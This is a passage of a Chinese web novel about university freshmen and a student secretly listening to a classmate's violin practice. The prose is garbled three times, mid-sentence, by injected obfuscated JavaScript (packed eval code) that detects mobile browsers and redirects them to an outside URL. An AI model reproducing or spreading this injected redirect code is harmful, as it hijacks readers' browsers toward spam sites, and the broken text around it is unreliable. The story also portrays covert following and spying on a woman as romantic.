裴一舟谦和地笑笑,连忙翻箱倒柜地寻找开学以来下发的所有物件,一边关心道:“听说你请的病假,原来是受了外伤啊?现在好些了吗?” 江羽抬了抬打着石膏的胳膊:“除了这个,一切都好。” 项凡伸长脖子:“看着挺严重啊,怎么伤的?” 江羽埋头收拾东西:“打伤的。” 项凡摸着下巴,啧啧称奇:“看不出来啊帅哥,长这么斯文,还跟人动手呢?” 江羽停下动作,竟是思考了一瞬,沉吟道:“我也在反思,要是长得足够震慑,嗯,像室草你这样,兴许就不会挨打了吧。” 项凡:“……” 很快,裴一舟就把所有东西都找齐了,江羽打开背包,开始往里面装东西。 二人异口同声地问:“你不住寝室?” “嗯。”江羽十分自然地回答:“学校的住宿费不便宜,而且我晚上还要兼职,住寝室会打扰你们休息。” 裴一舟和项凡面面相觑。 他们可是听说,这个江羽是拿着全额奖学金进的拓知。都这样了,还要出去打工,是有多缺钱? 而且,他竟然就这样大方地将自己的窘境和盘托出。“住宿费贵”几个字,对于他们这个年纪的男孩子而言,并不是好出口的字眼。 裴一舟在江羽快要离开的时候拦住了他:“你住哪儿?我帮你提吧,你手不方便。” 项凡也支支吾吾地说:“你不在的这段日子,我们早把你当成精神室友了。以后哪怕不住寝室,你也是503的一份子。” 江羽一愣,眼睛里绽放出浅浅的笑意:“好,作为感谢,今天我请客,吃食堂。” * 时值周末,江大校园里处处充斥着不上课的轻松与悠然。 他们一行三人走在常青的林荫道上,项凡一边闪避着拥挤的人群,一边拉着江羽那只完好的胳膊,殷勤地为他四处介绍。 “那个是图书馆,看着又破又旧,据说有上百年的历史了。” “从这边过去就是咱们拓知学部,你下周来上课,就能体会到什么是癫狂的高等数学Plus版了。” 说起这个,项凡就牙疼。 “不是我说,那帮老头儿是不是真以为进拓知的都是天才,故意把数学教出了魔鬼难度?老子可是全省115名,第一回在上课的时候觉得自己像个傻子!” 他回头问江羽:“你数学怎么样?” “还可以。”江羽的口吻依旧淡淡的,“谈不上喜欢,能考好罢了。” “……” 项凡不服气道:“老子是实践派,以后不走理论,这数学谁爱学谁学去!” “你听他瞎说。”裴一舟在后面拆兄弟的台,“他对数学比谁都积极,每周按时去跟助教套磁,生怕少学了一点。” “我哪有!” 三个人你推我搡,走着走着,就来到了一片热闹的小广场上。 举目望去,广场上矗立着一长遛的横幅和展板,夸张的喷绘和各色海报横七竖八地夹在其间。 每个摊位上都架着吱哇乱叫的高音喇叭,混在一起,谱出了一首美妙的大乱炖。谁也听不清谁,倒也算平起平坐。 这是江城大学一年一度的社团招新现场。 一个打扮时髦的女生站在路口,给每一位过路的新生塞传单,轮到他们三人的时候,登时眼前一亮。 女生毫不客气地挤过项凡,冲到江羽跟前,欣喜地问:“同学,有兴趣加入吉他社吗?” 江羽摇了摇头。 女生笑眯眯的:“别急着拒绝呀,你有什么才艺吗?” 江羽又摇了摇头。 女生一听,终于找到了话头:“男孩子呀光长得帅可不行,还是要有个才艺傍身,这样才招女孩子喜欢!来我们吉他社吧,零基础也欢迎,有很厉害的老师,包教包会,学得好的,还有机会加入咱们的民谣乐队呢!” 项凡一个挺身,闪进女生和江羽之间,俨然一副保护者的姿态。 他指了指江羽吊着的手臂:“没看见啊?我哥们不、方、便。” 女生悻悻地撇了撇嘴,又把目光投向一旁的裴一舟,吓得裴一舟连连摆手:“我是学生会的,没时间参加社团活动。” “瞧他,恨不得把‘学生会’几个字焊在脑门上。” 项凡双手抱胸,站在江羽身边,对裴一舟开启嘲讽模式:“我看他跟那个叫李什么的,真是一路货色!” “什么李什么,人家是学长,也是我的上级,堂堂校学生会副主席,你放尊重点吧。” 项凡的白眼翻上天:“好大的官哦!什么副主席,我看还不如个屁!” 说曹操,曹操竟然到了。前方,李泽昱带着几个学生会的小干事,正在布置迎新艺术节的大型展板。 裴一舟连忙上前和他打招呼,打着打着,竟然也撸起袖子加入了干活的行列,徒留江羽和项凡站在原地干等着。 现场犹如一片热闹的海洋,社团们竞相招贤纳士,一波又一波热情的学长学姐过来发传单,顺带寒暄个没完。 项凡觉得,自己这位新舍友太过招人了,便拉着人躲到一处僻静的角落。 他不耐烦地看了看表,正要催促裴一舟抓紧时间,忽然瞥见身边的江羽俯下身,趴在桌子上,正在填写一张报名表。 项凡好奇地探过头。 “……爱鸟社?” 很好,江羽竟然完美避开了那些高人气社团,选择了一个超级大冷门。 冷门到,他们在人家的桌子前站了半天,硬是没意识到这也是个展台,还以为是什么存放杂物的休息区。 项凡皱着眉,去读海报上的社团介绍:“认识和保护校园里的鸟类……不是,这些鸟有什么可保护的?还怕被野猫叼走不成?” “说什么呢,这位学弟!” 不知何时,旁边突然冒出一个戴着鸟嘴发箍的女孩。女孩个子不高,一开口却声如洪钟:“爱护动物是基本公德,人人有责!” 说着,还拿出一张新的报名表,硬塞进项凡手里:“你也赶紧把这个填了,来我们爱鸟社,净化一下俗不可耐的灵魂!” 项凡捏着报名表,表情空白地看向江羽:“你为什么会参加这玩意儿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006509|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 这时候,女生已经接过了江羽填好的表,上下扫了一眼。 “江羽同学是吗?欢迎欢迎!我叫任可心,大家以后就是同一个社团的兄弟姐妹了!” 一边说,一边笑容可掬地奉上一个纸袋。 江羽将纸袋里的长袖T恤拿出来,展开,白色的衣料上印着一只硕大的红绿金刚鹦鹉。 他转向傻了眼的项凡:“是她说,填表就送衣服。” 项凡:“……” 你到底有多穷! * 半小时后,学生会那边的活差不多告一段落。 裴一舟顶着满脑门的汗,被李泽昱拍着肩膀鼓励了一番。 他嘿嘿笑着,觉得自己刚进学生会就得到了李学长的关照,委实很幸运。 还想和李泽昱攀谈几句,却机灵地发现,学长不知怎么的,总是对着展板上的某一处出神。 裴一舟顺着李泽昱的目光看过去,在“表演者名单”上,看到了程霏霏的头像。 节目一栏则写着:小提琴独奏。 “咦?”裴一舟托了托眼镜,诧异地说:“那不是程学姐吗?” 李泽昱有些惊讶:“你认识她?” “对啊。”裴一舟不好意思地挠了挠头,“我们是一个高中的。我认识她,她不认识我。毕竟,她在我们学校,很有些名气。” 裴一舟不知道如何描述,程霏霏在他们学校可不是一般的出名。 这位赫赫有名的不良少女,几乎被所有老师当成反面教材广播宣传,连跨年级的学生都对她的事迹耳熟能详。 再加上,她长得还挺出众,明明是一张乖巧可爱的脸,却配着最出格的妆扮、大胆叛逆的言行,很难不让人对她印象深刻。 裴一舟瞥了一眼李泽昱惘然若失的眼神,结合自己在学生会听到的风言风语,忽然意识到,他似乎误入了某个八卦现场。 敏锐的政治嗅觉敦促他赶紧识趣地离开。 裴一舟刚一转身,却发现他的同学江羽站在身后,也愣怔地盯着展板上的同一处。 江羽身上套着一件崭新的白色上衣,胸前那只巨型鹦鹉鲜艳到几乎闪瞎他的眼。 不知是被这活泼的颜色衬得,还是现场的气氛实在欢腾,裴一舟竟然从这位冷冷清清的同学脸上,看到了一种可以称为“开心”的神色。 江羽就像一个刚刚从混沌梦境里醒来的人,茶色瞳孔里的冰凉介质一瞬间消失无踪。 他直直地盯着前方,嘴角缓缓扬起一抹鲜活的笑意。那笑意似一道轻盈的涟漪,沾染上这张毫无瑕疵的脸,瞬间便点燃了眼波深处的奕奕神采。 整个人如清风吹过绿野般,明快生动,意气盎然。 裴一舟瞬间有些恍惚——仿佛这种生气勃勃的潇洒,才是江羽本来的面貌。 他不禁顺着江羽的目光看过去,颇为不解地问:“你也认识程霏霏?” 江羽的声音有些轻:“程霏霏。” “嗯,程学姐的变化还真大。看来,传言说得没错,为了追求李学长,她可真是没少改变自己啊。” 江羽眼睫一顿,目光落在前方李泽昱的背影上。 裴一舟自顾自接着道:“这样看着,他们两个也算是郎才女貌,挺般配的。李学长人这么好,还是江大的学生会副主席,前途无量。这样优秀的人,难怪会招女孩子喜欢。” 江羽唇角的笑意淡了下来。 午后的阳光自头顶的林叶穿过,将他清水般的眸子染上一层柔润的亮泽,令人很难捕捉到眼底那一闪而逝的寂然。 裴一舟想到什么,玩笑地碰了碰他的肩膀:“你也不差,提前锁定系草的头衔了。以后啊肯定超受女孩子欢迎的,项凡那家伙怕是要嫉妒死。” “说我什么坏话呢!” 远处,项凡也穿着同样的鹦鹉T恤,不耐烦地催促道:“还吃不吃饭了,饿死我对你们有什么好处?” 裴一舟大笑着,一把揽上江羽的肩头,勾着他往食堂走去。 并没有留意到江羽若有所思的眼神。 12. 12 任可心将蓝牙耳机听到快没电的时候,广场上的人流才渐渐疏散,今年的招新大战正式宣告结束。 她数了数手中斩获的报名表,只有寥寥几份。 显然,她亲自设计的文化衫并没起到什么作用,没吸引来几个爱鸟人士。任可心不气馁地琢磨,明年或许可以试试别的鸟,苍鹭啊猫头鹰什么的,肯定比鹦鹉更有人气。 月上柳梢头的时候,任可心两只手提着新鲜送达的酒店外卖,用脚踹开女生寝室的门。 只见程霏霏一半身子扑在床上,另一半悬在梯子上,长长的黑发垂在床沿外,活像一只倒挂的女鬼。 吓得任可心差点将滚烫的皮蛋瘦肉粥泼上天花板。 十分钟后,两个人坐在寝室的中央,用程霏霏那个价值不菲的品牌旅行箱支起了一个勉强过得去的小饭桌。 高档酒店的菜色盛在塑料饭盒里,挤挤挨挨的,没什么卖相,但味道可比食堂的清汤寡水强太多。 程霏霏目光有点空,捧着碗,小口喝粥。 任可心盯着她包满了创可贴的左手,皱了皱眉。 她放下筷子,在自己的托特包里翻找一通,拿出今天收到的几份报名表,“唰”一下拍进程霏霏的怀里。 “干吗?”对方一脸莫名其妙。 “这些是我们爱鸟社新招到的成员,都是大一的小鲜肉,个顶个的水灵,尤其是这一个!” 任可心在几张报名表中扒拉出一份,怼到程霏霏脸前。 “这个学弟,我一眼就瞧中了,绝对符合你的审美!人呢我已经给你勾搭到了,电话号码这里写得清清楚楚,接下来,就看你自己的了。” 程霏霏一把挥开她的胳膊:“有话直说。” “我的意思是,帅哥那么多,你为什么非要在李泽昱那棵树上吊死?还为了他,辛辛苦苦练什么小提琴,把自己的手都折腾成这样!” 任可心一把握住闺蜜伤痕累累的手,语气诚恳、泪眼潸然地看着她:“霏霏,你打小就五音不全,天生吃不了音乐这碗饭,放弃是福哇!” “……” 程霏霏夹起一只虾饺,堵住了那张不中听的嘴。 她撂了筷子,环起胳膊,眉头拧成一个结,神情有点严肃:“每个人都有自己想做的事情。比如你任可心,为什么费劲吧啦地搞那个鸟社?明明都招不到几个人。” “爱鸟社。”任可心小声纠正。 觑着程霏霏的神色,她还是慢吞吞地答:“因为我的确喜欢它们啊,要不然,也不会读摄影系了。” 任可心从小的梦想,就是当一个鸟类摄影师。 “你看,你为了拍那些鸟,去读摄影。而我为了李泽昱,辛辛苦苦考来江大。现在,万里长征只剩最后一步,我只要好好练琴,顺利表白,就能得到我喜欢的人。这种事情,怎么不值得努力了?” “表白就表白嘛,干吗还要练这劳什子的小提琴?” “你不明白……”程霏霏叹了口气,筷子无意识地戳着盘子里的肠粉,“我和他之间,就是有这样一段缘分。” 想到那些画面,程霏霏心头的沮丧淡了些许,终于恢复了一点精神。 她拿起椅子上的外套,边穿边说:“时间不早了,我还要赶回教室练琴呢,你自便吧。” 临走的时候,还不忘顺走一只奶黄流沙包。 “剩下的都是黎玥爱吃的,给她留着点!” “……” * 夜幕像隐隐绰绰的纱幔,悄无声息地笼罩住整片校园。 这样美好的周末夜晚,学生们纷纷卸下了平日的紧张与忙碌,在各自的小天地里争分夺秒地享受难得的休闲时光。 宿舍区的氛围一团火热,哪怕站在楼下,也能听到源源不断的游戏和打闹声,是无忧无虑的青春的声音。 时间已经很晚,各色烧烤和奶茶外卖依然流水一般地往里送。 江羽穿着奶茶店的工作服,背着一只硕大的外送箱,从音乐学院的宿舍楼里出来。 今天是周末,他上午和下午分别有不同的兼职,到了晚上,还要负责奶茶店的外送。一刻不停地忙到现在,终于送完了最后一单。 肩膀被绷带和箱子的重量压得酸疼不已,江羽在路边的长椅上坐下,将身上的重物卸了。 仰着脖子长吁一口气,他捏了捏肿痛的肩膀,才发现额上竟然疼出了一层细密的汗。 他单手从工装口袋里拿出一只笔并一个小本子,咬开笔盖,开始记录。 本子上密密麻麻地罗列着每天的工作和时间安排;从最后一页往前翻,则记录着每天的收支。 一行一行的数字积攒起来,凑成了这些日子的打工所得。他在心里粗粗算了算,刨除房租和饭钱,这个月能够还掉多少债务。 想到生活费,江羽才恍惚地意识到,今天还没吃晚饭。 出院的时候,医生叮嘱他,大病初愈,需要好好吃饭,多补充营养。可是江羽的兼职太密集了,又常常为了赶路错过饭点,只能在公交车上匆匆啃两口包子完事。 现在的体重,甚至比刚出院那会儿还轻了不少。 江羽想,自己少吃点,下个月倒是可以给小黄那狗子买点有品质的狗粮,尝尝鲜。 那条捡来的杂毛狗,如今有了一个略随便的名字,叫作小黄。小黄日常的口粮和江羽一样糙,至今没吃过什么好东西。 下午的时候,学校旁边的宠物店搞活动,免费发放狗粮小样。项凡他们厚着脸皮蹭了好几袋,给他带了去,小黄吃得香,他们撸得也开心。 江羽读了狗粮包装上的配料表,确实很有营养,小黄吃这个,估计能把那身凹凸不平的皮毛给长齐。 等这个月结了钱,就给小黄买一袋。 江羽戏谑地想,这狗跟了他,连口吃的都要延迟满足,也是不容易。 肩上紧绷的疼痛淡了些许,他收起小本子,重新将箱子背上,举目四望…… 这是什么地方来着? 江大的校园植被丰富,占地面积很广,分东西南北好几个片区。短短几天,还不够江羽摸清楚每一个角落。 只能赌运气了,总不至于像小时候那样迷路一整夜吧? 江羽凭直觉,沿着一条看上去不那么荒凉的小路朝前走。 宿舍区煊赫的光点落在他身后,江羽抬起头,看到前方的树影里隐约透出些热闹的霓虹,这条路似乎连通着后街。 心中一轻,不由加快了脚步。 走着走着,忽然听到一阵若有似无的小提琴声从墙的那边飘过来。江羽几乎本能地停下步子,确认自己不是幻听。 他所处的位置是某栋教学楼的背面。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006510|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >百年的建筑散发着质朴的古韵,蜿蜒而上的藤蔓覆满暗沉的墙体。一片漆黑之中,枝叶轻轻摇摆,露出一团朦朦胧胧的光线。 江羽踏过一片齐膝高的草地,循着琴声向前走。 一楼的尽头,最里间的教室还亮着灯。 明亮的光线编织成灼目的旗帜,在茫茫黑夜中张扬地挥舞着。 他轻声靠近,越过齐肩高的窗沿,一眼看到沐浴在白炽灯光下的程霏霏。 整个人仿佛被钉在了原地,一时难以动作。 几息之后,江羽才从震惊中回神,下意识地矮身,躲进窗台下方,借着灰扑扑的墙体挡住自己的身影。 心跳得极快,江羽重新调整了一下呼吸,才小心地探出头,重新朝教室里望去。 那里只有程霏霏一个人。 她的肩上架着一台小提琴,素来垂顺的黑发绑成了高马尾。右手握着琴弓,一下一下地敲打着自己的小腿。眼神空茫地对着面前的曲谱,看上去一脸烦恼。 这萎靡不振的小表情,和几个月前第一次见面的机灵劲儿完全不一样。 江羽望着那张丧气满满的脸,情不自禁翘起唇角。 头顶的夜空灰蓝而静谧,月亮出来了,洒下清朗透彻的光。 月光穿过遮蔽的云层,像撩开了神秘面纱的少女,温柔地俯瞰着人间,照亮了少年目不转睛的眼眸,也抚过那颗寻觅了很久的、欣喜又酸胀的心。 教室里,程霏霏重新开始了她的演奏。 经过这段日子的苦练,她已经能够弹奏出相对平滑的音色了。只是偶尔的,弓弦稍有不稳,会擦出几声意外的“鸡叫”。 节奏也时急时缓,听着有点动荡不安,就像在和人吵架,设想中的浪漫旖旎那是一点也没有。 江羽斜靠在教学楼的砖墙上,无声地笑了。 近在眼前的程霏霏如此鲜活,连生气都俏皮可爱,每一帧小表情都蕴满了无穷的生命力,闪烁着令人心动的光。 江羽听到自己心底擂鼓一般的怦然。 教室里,程霏霏一曲毕,懊恼地将琴往桌上一放,价格不菲的乐器发出一阵沉闷的杂音。 她的免费小老师说,小提琴入门并不容易。她这样的新手,短期内能练成这个水平,已经相当不错了。 可程霏霏还是觉得不满意,她可是要去艺术节晚会上演奏的人! 今天下午,她特意去广场上溜达了一圈,将展板上的名字挨个看了一遍。 看完之后脸都黑了,那些人,个顶个的身怀绝技。按照自己目前这三脚猫的功夫,她很可能表白不成,还要社死一遭。 想到那个场景,程霏霏心头更加烦闷。她拿起桌上的矿泉水猛灌几口,再瞟一眼手机——妈呀,都这么晚了! 飞快地将小提琴收进琴盒,程霏霏抄起外套,旋风一般地关灯锁门。 校园的主干道上已经没什么人。 程霏霏双手揣在衣兜里,耷拉着脑袋,无精打采地往回走,脑子里还在复盘那些恼人的旋律。 潮湿寒凉的风一阵阵吹过,卷起她的裙边。路灯从浓密的枝杈间伸出头,散发着柔和的光晕,将她的影子拉得无限长。 几米之外,江羽安静地缀在她身后,脚步无声。 直到她的背影进了女生宿舍的门厅,他才调转方向,悄然离开。 13. 13 下课铃响,项凡把课本“啪”的一声合上,懊恼地抓了抓早已如鸟窝一般的乱发。 他看起来如同一只炸毛的刺猬,浑身上下每个细胞都在控诉着刚刚结束的数学分析课。 发泄了一通,才回头看向后排的人:“所以,刚刚那道题,你听懂了?” 江羽已经收拾好东西,正打算走人,闻言,又重新坐下,翻出一张草稿纸,开始写写画画。 “利用零点存在定理得到有界,再利用Rolle定理反证,推出矛盾……” 江羽言简意赅,步骤讲解得十分粗略,可项凡一听便懂。 解完了这题,又兴奋地扒拉着他讲下一题。最后连裴一舟都忍不住打趣:“你再不走,可就追不上助教了。” 项凡俯在课桌上,嫌弃地摆摆手:“谁爱追谁追去,助教也不如江羽好使!” 三道题讲完,江羽看了眼时间:“不行,我打工要迟到了,剩下的回头再说。” 将草稿纸留给项凡,江羽一把拎起书包,一边往肩上背,一边冲出了教室。 项凡在身后大喊:“那我晚上去你家等你哦!” 引来旁边的女生咯咯直笑。 自从拆了绷带,江羽的左手终于重获自由,浑身说不出的轻松畅快。 他沿着校园的林荫小道飞跑,发丝扬起,步履如风,一路吸引了不少回头的目光。 几乎横跨了半个校园,江羽循着之前偶然发现的那条近路穿过后街,来到外面的商业街上。 “叮呤——” 鹿客餐厅的门铃发出清脆的音响。 黎玥从收银台后面抬起头,看到进来的人,匆匆一瞥后,又仿若未觉地垂下视线。 旁边的圆寸小哥热情地打了声招呼:“呦,小江下课啦?” “常哥下午好。” 江羽冲他的方向点了点头,径直往走廊尽头的员工更衣室走去。 “人都进去了,还看呢?” 黎玥一惊,赶紧将目光从那道清隽的背影上收回。 圆寸小哥露出一个看破不说破的笑,摸了摸自己圆滚滚的脑壳,语带失落:“唉,自从把那小子招进来,女员工的眼里就只有他,没有我咯!” “常哥。”黎玥转过脸,镜片后的眸底满是真诚,“女员工眼里本来也没你的。” “……” 常泰倒吸一口凉气——现在的大学生真是忘恩负义,前脚刚发了工资,后脚就翻脸不认他这个店长,连马屁也断供了。 “去去去,这边不用你了,看你的帅哥去吧!” 黎玥眯着一双笑眼走开了。 不一会儿,江羽就换好了服务生的衣服,从更衣室里出来。他往这边看了一眼,然后径直朝黎玥走来。 黎玥的眼皮有点跳,还没琢磨好说点什么,江羽便直接伸出手,接过了她手中的咖啡壶。 指尖蹭到手背,一触即分。 黎玥的心一阵扑腾。 清润的嗓音从头顶上方响起:“抱歉,耽误你下班了,下次我提前到。” “没关系……” 不待黎玥回答完,江羽已经大步走远,去电脑前查看客人的点单了。 黎玥这才呼出一口长气,转身进了更衣室。 再出来的时候,一时没有看到江羽的身影。 还没到晚餐时间,店里只有零星几桌客人。黎玥讪讪地抿了抿嘴,没有理由继续逗留,只能冲常哥道了声再见,便背着包出了鹿客。 她在这里打工有一段时间了。 暑假的某个夜晚,程霏霏和李泽昱共进晚餐以后,莫名就对这地方印象不错。临走的时候,看到门上贴了一则“招工启示”,转头就把消息告诉了正在找兼职的黎玥。 这里离学校近,工作轻松,待遇也好,比出去做家教省心不少。 回寝室的路上,黎玥的手机响个不停,来电人是“妈妈”。 前两通电话她都没接,直到这第三通打来,她避无可避,才咬了咬下唇,磨蹭着接起。 “玥玥啊,最近怎么样?学习还顺利吗?” “挺好的……妈,有什么事吗?” “你这孩子,我没事还不能给自己闺女打个电话了?” 黎玥没有接话。 黎母又继续道:“那个……下个月,你小侄儿就满百天了,这事你没忘吧?” 黎玥一点也不惊讶:“我给过红包了。” “那是你给的嘛。妈是想着,你不是还有很多同学朋友吗?上次妈妈去学校看你的时候,还给你室友送了酱菜呢,人家要是听说你侄儿满百天,肯定也想要礼尚往来、表示一下的对吧?” 黎玥听着这番说辞,脑子里嗡嗡的,心想这个女人怕是穷疯了。 “妈妈看人可准了,你那个室友啊一看就不是一般小孩,有钱的哩!你要好好跟人家相处,别得罪了人,知道不?” 黎玥将手机拿远,继续往宿舍走去,没再听那些叽里哇啦的唠叨。 到了寝室楼下,手机那边才渐渐消停下来,黎玥匆忙应付了几句,挂断电话。 宿舍楼的门厅里有一面落地镜。此刻,黎玥恰好站在镜子前。 镜中的少女戴着斯文的细框眼镜,打扮得很淑静。头发没有绑成惯常的马尾,而是披在肩头。仔细看的话,会发现她还上了一层淡淡的底妆,涂着柔粉色的唇釉。 不同于平日的潦草,今早她刻意将自己收拾了一番。 本来是美好的一天,偏偏被一通电话搅乱。 黎玥叹了口气,步伐沉重地上楼,推开寝室的门。 只见任可心正伏在程霏霏的书桌上,对着一台笔记本电脑,眉头紧锁。 “黎玥,你可回来了!” 犹如见到救命恩人,任可心立即飞扑过去,把她迎进来,一把按进程霏霏那张“从来不接客”的椅子里。 下一秒,她忽然盯住黎玥的脸:“你化妆了?” 黎玥心虚地别开脑袋,故意将话题岔开,指了指电脑屏幕:“这是什么?” 任可心的思绪立刻回笼,她按下笔记本的空格键,开始播放一段视频。 视频里有许多憨态可掬的鸟,或驻足枝头,或在林间自由飞舞。黎玥很快就被这生机勃勃的画面所吸引。 “这是我们爱鸟社的宣传视频,我拍的!”任可心满脸骄傲,不知从哪儿摸出一个橘子,开始剥皮。 “今年没招到几个人,我觉得,还是宣传得不行。” 任可心吭哧吭哧地剥着橘子。 “所以我就托了人,求来一个校网的广告位,想好好宣传一下。但是人家不要纯视频,要带文案的。你知道的,那玩意儿我可写不出来。” 手捧着剥好的橘子,任可心眼巴巴地望着她:“黎学霸,救我!” 原来是这么个事。 黎玥眉梢微扬,拿起一瓣橘子塞进嘴里,很仗义地比了个OK。 * 江羽伸展手臂,将一张干净的桌布抖开,铺展在餐桌上。 吊灯的柔光自上方投下,在他挺直的鼻梁处洒下一片暗影。 面部的轮廓精致到无可挑剔,鸦羽般的睫毛细长,映在眼尾,更显得一双桃花眼微微上挑,勾魂摄魄一般的俊美。 常泰在一旁暗暗打量,不得不服气,这般长相,的确会让女孩子移不开眼。 长得好看就罢了,偏偏气质也矜贵到不行。 同样一套衬衣领结的工装,穿在自己身上就像个厨子,穿在他身上却像个王子。 常泰有时甚至会恍惚,这是谁家的少爷出来打工来了? 自从江羽来这里工作,餐厅的生意都跟着好了许多。 时间不早,店里只剩他们两个人。常泰唤了江羽一声,扔给他一瓶气泡水。 江羽道了声谢,将饮料暂放在一旁,继续摆放餐具。 常泰忽然问:“小江,是不是遇上什么麻烦了?” 江羽愣了一下,不解地抬头。 “别怪哥打听啊,怎么想到来做这个的?” 他指了指江羽身侧的推车,上面堆满了刚刚消 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14006511|148545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 毒干净的碗碟。 江羽了然道:“这份工还不错,时间灵活,离学校也近。我倒是想去挖矿,挣得还多,可惜赶不及回来上课。” 常泰戏谑地说:“你长得可不像个打工仔。” 江羽失笑地摇摇头:“不止这个,我外头还有三份活儿呢,要不要讲给你听?” 常泰哈哈大笑:“年轻真好啊!” 说着,又走过来拍了拍江羽的肩膀:“困难都是暂时的。小伙子,好好干!” 江羽却反问:“常哥,你也没比我大几岁,怎么没继续读书了?” 常泰耸了耸肩:“我要是有你那智商,能考来江大这样的学校,当年也不会辍学咯。” 他哼着小曲往外走:“今天你锁门!” 江羽下班的时候,时间已经很晚了。手机上有项凡好几通未接来电,甚至还有一条最后通牒的语音:【你再不回来,我就绑架你的狗!】 江羽没理那些电话和微信,看了眼时间,都快十点了。 他拔腿就往校园里跑。 音乐学院的教学楼里静悄悄一片,江羽熟门熟路地摸到最里面那间教室的窗外。 室内灯光明亮,程霏霏靠在一张椅子里,两只脚担在课桌上,正在闭目养神。 江羽倚着墙根,缓缓坐下。 每天收工之后,他都会跑来这个地方,偷听程霏霏拉琴。 有时候她非常投入,兴致很高,能意气昂扬地苦练一整晚。 有时候则像今天这样,大抵是遇到了什么瓶颈,先胡乱发一通脾气,然后便开始摆烂。 江羽隔着一堵墙静静地听着,从来不上前去打扰。 这是他一天当中最为放松的时刻。 只消看着她的身影,哪怕离得这样远,忙碌了一天的疲惫仿佛就烟消云散了。 江羽微抿着唇角,闭上眼睛,忽然听到程霏霏在自言自语:“我是不是永远也拉不好这首曲子啊?” 那语气中的伤感,令江羽心头一颤。 他立刻抬眼望过去,教室里的少女竟然抹了一把眼角,一团晶亮的水渍凝在她的腮上——她哭了。 程霏霏其实是被气哭的。 她刚刚在教室里睡着了,梦见自己在艺术节的台上演出,将曲子拉得乱七八糟,底下的观众都在喝倒彩。 她还看到李泽昱从人群里走上台,当着众人的面,毫不客气地指着她的鼻子质问:“就这?” 瞬间给她气醒了。 程霏霏抹了两把眼泪,梦中的羞恼还未散尽,衣兜里的手机忽然开始嗡嗡震动。 她心烦意乱地接起:“喂,哥。” 程皓南:“你人呢?怎么不在宿舍?” “我在外面呢。” 程霏霏莫名有点心虚,清了清嗓子,想要打发她哥挂电话,却听对方说:“我在你宿舍楼下,天凉了,婶婶让我给你送厚被子。” 程霏霏看了眼时间,无语道:“你这个点来?万一我睡了呢?” “少废话,你这不还没睡么!” 程皓南这厮,八成是给忙忘了,下班回家才想起来还有个给妹妹送被子的差事。 程霏霏只好从椅子里起身,讲着电话往外走,离开的时候,顺手关了墙上的灯。 兄妹俩的通话声越来越远,直到听不见。 一片黑暗中,江羽从窗台下站起身。 他绕过郁郁葱葱的草丛,来到教学楼的正面,从大门走了进来。 轻车熟路地找到走廊尽头的练习教室,江羽轻轻推开门。 教室还算宽敞,四周摞满了杂物,屋子中央摆放着一套桌椅。旁边,程霏霏的曲谱正大喇喇地摊在架子上,等待着主人第二天再次光顾。 江羽走过去,目光扫过那纸单薄的曲谱。 从书包侧兜里抽出一只笔,江羽打开手机的电筒,俯下身。 今夜出奇得寂静,连风的声音也没有。 空荡荡的教室里,只有笔尖划过纸面的沙沙声,仿佛梦里的回音一般,眇眇忽忽,暧昧不明。 14. 14 来自澳洲的羊毛温泉被又轻又暖,程霏霏睡得舒爽,一夜好眠。 不知是不是前一天晚上打了个盹的缘故,第二天清晨,天刚蒙蒙亮,程霏霏就自然醒了。 还没在暖和的被窝里温存够,阳台的门豁然敞开,深秋的凉意争先恐后地倒灌进来,将甜蜜的慵懒搅得粉碎。 程霏霏把头缩进被子里,裹成一只鸵鸟,闷声嚷道:“黎玥,关门!” 黎玥叼着牙刷,露出恶作剧得逞的笑容,仿佛没听见室友的抗议声,将门开得更大。 整个寝室的气温瞬间暴跌五度。 程霏霏干脆不睡了,一脚把被子踢开,从床上几步跃下,掐住黎玥的脖子就往床上拖。 “谋杀室友啦——救命!”黎玥夸张地哀嚎。 两个人一通打闹,都出了一身汗。程霏霏睡意全无,只能从善如流地起床,和黎玥并排着,站在阳台上洗漱。 睡了一觉,昨天的坏情绪烟消云散。程霏霏心情极佳,看着外面气温骤降的深秋,也觉得如阳春三月似的美好。 今天没有课,她可以早点去音乐教室练琴。 余光里,室友正在对着镜子扎头发。 程霏霏后知后觉地发现——黎玥这阵子,好像有些不一样。 某个女学霸素来一根马尾辫闯世界,平时连镜子都很少照。如今竟然学着网上的教程,笨手笨脚地给自己盘了一个松垮的丸子头。 程霏霏很是惊讶,走到黎玥身后,双手抱胸,单刀直入地问:“你谈恋爱了?” 吓得黎玥手一抖,丸子头散了。 程霏霏抿唇一笑,上前接过黎玥的梳子。 一手拢着落下的碎发,另一只手仿照着刚刚的形状,将头发利索地挽起。头绳在指间翻飞几道,便有了一个形状完美、呼吸感饱满的发团。 